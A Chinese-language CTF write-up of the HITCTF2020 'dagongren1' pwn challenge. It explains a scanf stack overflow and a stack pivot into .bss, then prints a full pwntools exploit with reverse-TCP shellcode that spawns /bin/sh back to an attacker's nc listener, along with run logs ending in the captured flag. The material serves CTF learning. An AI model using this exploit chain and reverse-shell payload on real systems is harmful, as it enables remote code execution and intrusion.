这是第一次在比赛的时候把题目给做出来了嘻嘻嘻。感谢王老师,为了让我把这题做完还请我吃烧烤,此处必须给王老师发一张超级Super无敌好人卡![狗头…]
1 漏洞点
题目下载:dagongren1
首先看一下程序的基本情况。
1 2 3 4 5 6 7 8 9 10 bling@bling:~/Desktop$ file dagongren1 dagongren1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e5adcd14da3eedce7b1b4c36d62d68bd687e63bc, not stripped bling@bling:~/Desktop$ checksec dagongren1 [*] '/home/bling/Desktop/dagongren1' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
x86架构下的64位程序,栈cookie、NX、PIE都没开,还有可读可写可执行的段,看起来这个题利用时没什么障碍。运行一下程序,然后看看IDA反汇编的源码,分析一下漏洞点。
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[32 ]; puts ("Good morning master" ); puts (aWorkHardForYou); puts ("Come On" ); _isoc99_scanf("%s" , v4); fclose(stdout ); fclose(stderr ); return 0 ; }
可以看到scanf时有个栈溢出,溢出可以覆盖main函数返回地址,那么这就控制了eip。
2 利用
这个题控制eip很简单,但是怎么get shell呢?
1 2 3 4 5 6 7 8 9 10 11 12 1、到这里,我首先想到的是之前ctfwiki里的stack pivoting方法。想把shellcode布置在栈上,然后直接jmp rsp。但是无奈使用ROPgadget并没有找到“jmp rsp”这条指令,其他的看了看想了想也都不可行。所以只能放弃了。 bling@bling:~/Desktop$ ROPgadget --binary dagongren1 --only "jmp|ret" Gadgets information ============================================================ 0x00000000004006bb : jmp 0x400650 0x0000000000400803 : jmp 0x40087a 0x000000000040098b : jmp qword ptr [rbp] 0x000000000040094b : jmp qword ptr [rcx] 0x0000000000400635 : jmp rax 0x0000000000400581 : ret 2、然后,我又想通过泄露libc来执行system或execve,但是由于源码中有“fclose(stdout);”,使得程序的标准输出被关了,于是我不可能泄露出libc。最后也只能放弃该想法。
最后,在王老师的提示下,知道.bss段末尾在进程空间中有一段是可写的(要写到extern后面哦),加上该题程序未开启NX,因此这段还可以执行。所以就依靠ROP+栈迁移吧!
2.1 迁移rbp
迁移到哪里呢?一开始试了下迁移到0x600cf0,但是scanf的时候会在0x0c处截断,试了半天最后选择了0x600f0f。
main函数结尾处:
1 2 .text:0000000000400735 leave .text:0000000000400736 retn
相当于:
1 2 3 mov esp,ebp pop ebp pop rip
因此我们将rbp覆盖为栈迁移目的地址,将rip覆盖为我们想执行的代码。
2.2 在新栈中布置shellcode
rbp栈迁移后,我们需要在新的栈空间布置shellcode,因此必定还需要进行依次输入。查看main函数中scanf的上下文,如下:
1 2 3 4 5 .text:00000000004006FC lea rax, [rbp+var_20] .text:0000000000400700 mov rsi, rax .text:0000000000400703 mov edi, offset aS ; "%s" .text:0000000000400708 mov eax, 0 .text:000000000040070D call __isoc99_scanf
0x4006fc处是以rbp进行栈空间寻址的,因此在我们迁移完rbp后就可以立马进行下一次scanf输入了。构造过程如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 栈空间 +---------------+ | | | | .bss段 +---------------+ | | +---------------+ +---------------+ | | ret_addr | 0x4006fc | | | +---------------+ | | old_rbp | 0x600f0f +----------+ | | +---------------+ v4+0x20 | | | | | | | | | | | | | | | | | | | | | | | | padding | | | | | | | | | | | | | | | | | +---------------+ | | | | | | | +----------> +---------------+ 0x600f0f | | | | +---------------+ | | | | | | +---------------+ v4 +---------------+
2.3 控制eip执行shellcode
上一步骤中,scanf输入完毕后,main函数会继续执行到最后的leave;ret;
,这里可以再次控制eip。需要提前布置好新栈中的数据。
因为是同一个main函数的栈,所以新栈的结构跟之前栈结构是一样的。这里需要将ret_addr处的地址改成shellcode的地址,这样main函数中执行到ret的时候就可以控制执行流了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 栈空间 +---------------+ | | | | .bss段 +---------------+ | | +---------------+ +---------------+ | | ret_addr | 0x4006fc | | | +---------------+ | | old_rbp | 0x600f0f +----------+ | | +---------------+ v4+0x20 | | shellcode | | | | | | | | | | | | | | +---------------+ | | | ret_addr | addr | | padding | | +---------------+ | | | old_rbp | padding | | | +----------> +---------------+ 0x600f0f | | | | | | | | | | | padding | | | | | +---------------+ | | | | | | +---------------+ v4 +---------------+ 0x600f0f-0x20
2.4 shellcode的选择
shellcode有一个官方网站:shell-storm
由于程序源码中有“fclose(stdout);”的限制,无法通过普通shellcode拿到shell。这大概是这道题对我来说最难的一部分了。对网络真的一窍不通o(╥﹏╥)o
为了绕过这一限制,最后使用了Reverse TCP shell 这个shellcode,“反连TCP”的方法。
参考这篇文章大概了解了一下“反连TCP”这是个啥:metasploit中Payload的reverse_tcp和bind_tcp的区别 。
大概意思就是 说呢,reverse_tcp的方法需要我们在一台攻击服务器上打开一个监听端口(使用nc),payload在受害者机器上执行的时候,根据ip地址和端口来连接该攻击服务器,将信息传送给攻击者。而bind_tcp是指在受害者机器上开一个端口,然后攻击者连过去,如果受害者机器开了防火墙,这种方法就不会成功。因此,大多数时候我们都使用reverse_tcp。
参考nc工具使用 ,附加一个nc/telnet实现服务端/客户端连接的例子。
1 2 3 4 5 # 服务端 # 需要设置好监听端口的防火墙规则,否则其他机器无法建立连接 nc -p 33x -l -vv # 客户端 telnet 1xx.1xx.xx.xxx 33x
3 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) myelf = ELF('./dagongren1' ) myproc = remote("81.70.209.171" ,51601 ) after_bss = 0x600f0f scanf_gdt = 0x4006fc payload1 = 'c' * 0x20 payload1 += p64(after_bss) payload1 += p64(scanf_gdt) PORT = '\x8x\x4x' IPADDR = '\x33\x33\x33\x33' shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" shellcode += "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" shellcode += "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" shellcode += "\x02" + PORT + "\xc7\x44\x24\x04" + IPADDR + "\x48\x89\xe6\x6a\x10" shellcode += "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" shellcode += "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" shellcode += "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" shellcode += "\x5f\x6a\x3b\x58\x0f\x05" payload2 = 'a' *0x20 payload2 += 'bbbbbbbb' payload2 += p64(after_bss + 0x10 ) payload2 += shellcode myproc.recvuntil("Come On" ) myproc.sendline(payload1) myproc.sendline(payload2) myproc.interactive()
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@iZt4n6o5h5zjwhe2ubl2uqZ:~# nc -p 33x -l -vv Listening on [0.0.0.0] (family 0, port 33x) Connection from 81.70.209.171 51786 received! ls bin dev flag lib lib32 lib64 libx32 pwn cat flag HITCTF2020{4957306aaa6ff77d77c310f5379addf7}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 bling@bling:~/Desktop$ python poc.py [DEBUG] PLT 0x4005a0 puts [DEBUG] PLT 0x4005a8 fclose [DEBUG] PLT 0x4005b0 alarm [DEBUG] PLT 0x4005b8 __libc_start_main [DEBUG] PLT 0x4005c0 __gmon_start__ [DEBUG] PLT 0x4005c8 setvbuf [DEBUG] PLT 0x4005d0 __isoc99_scanf [*] '/home/bling/Desktop/dagongren1' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Opening connection to 81.70.209.171 on port 51601: Done [DEBUG] Received 0x13 bytes: 'Good morning master' [DEBUG] Received 0x3c bytes: 00000000 0a 57 6f 72 6b 20 68 61 72 64 20 66 6f 72 20 79 │·Wor│k ha│rd f│or y│ 00000010 6f 75 72 20 62 6f 73 73 20 74 6f 20 6c 69 76 65 │our │boss│ to │live│ 00000020 20 61 20 62 65 74 74 65 72 20 6c 69 66 65 21 f0 │ a b│ette│r li│fe!·│ 00000030 9f 91 80 0a 43 6f 6d 65 20 4f 6e 0a │····│Come│ On·│ 0000003c [DEBUG] Sent 0x31 bytes: 00000000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│ * 00000020 0f 0f 60 00 00 00 00 00 fc 06 40 00 00 00 00 00 │··`·│····│··@·│····│ 00000030 0a │·│ 00000031 [DEBUG] Sent 0xa7 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000020 62 62 62 62 62 62 62 62 1f 0f 60 00 00 00 00 00 │bbbb│bbbb│··`·│····│ 00000030 48 31 c0 48 31 ff 48 31 f6 48 31 d2 4d 31 c0 6a │H1·H│1·H1│·H1·│M1·j│ 00000040 02 5f 6a 01 5e 6a 06 5a 6a 29 58 0f 05 49 89 c0 │·_j·│^j·Z│j)X·│·I··│ 00000050 48 31 f6 4d 31 d2 41 52 c6 04 24 02 66 c7 44 24 │H1·M│1·AR│··$·│f·D$│ 00000060 02 8x 4x c7 44 24 04 9x 8x 3x 8x 48 89 e6 6a 10 │··K·│D$··│·3·H│··j·│ 00000070 5a 41 50 5f 6a 2a 58 0f 05 48 31 f6 6a 03 5e 48 │ZAP_│j*X·│·H1·│j·^H│ 00000080 ff ce 6a 21 58 0f 05 75 f6 48 31 ff 57 57 5e 5a │··j!│X··u│·H1·│WW^Z│ 00000090 48 bf 2f 2f 62 69 6e 2f 73 68 48 c1 ef 08 57 54 │H·//│bin/│shH·│··WT│ 000000a0 5f 6a 3b 58 0f 05 0a │_j;X│···│ 000000a7 [*] Switching to interactive mode [*] Got EOF while reading in interactive $